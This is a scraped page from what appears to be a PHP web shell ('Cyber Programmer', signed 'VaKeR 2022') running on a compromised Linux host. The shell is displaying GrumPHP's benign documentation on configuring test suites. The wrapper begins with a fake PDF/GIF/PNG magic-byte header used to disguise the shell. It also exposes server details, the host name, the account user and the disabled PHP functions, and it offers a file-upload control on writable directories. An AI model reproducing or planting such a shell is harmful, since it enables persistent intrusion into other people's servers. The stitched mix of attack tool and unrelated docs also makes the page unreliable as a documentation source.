%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/doc/testsuites.md
# Test Suites
Don't want to run all the tests during a commit?
Do you want to specify some pre-defined tasks you want to run?
It is easy to configure and run custom testsuites in GrumPHP
Test suites live under their own namespace in the parameters part.


```yaml
# grumphp.yml
grumphp:
    testsuites:
        suitename:
            tasks:
                - phpcs
                - phpspec
```

It is possible to define multiple testsuites in the `grumphp.yml` file.
Every test-suite has a unique name that can be used in the run command.
A test-suite has the following parameters:


**tasks**

*Default: []*

A test-suite consists of a list of tasks that should be executed.
You can use any registered task name in the list of tasks.
The list is validated against this list of registered tasks. 
When you enter an unknown task, an error will be thrown.


## Overriding git hook test-suites
To make it possible to define which tests should run during a git hook,
we made it possible to use one of following pre-defined test suites:

```yaml
# grumphp.yml
grumphp:
    testsuites:
        # Specify the test-suite for the git:commit-msg command:
        git_commit_msg:
            tasks: []
        # Specify the test-suite for the git:pre-commit command:
        git_pre_commit:
            tasks: []
```

VaKeR 2022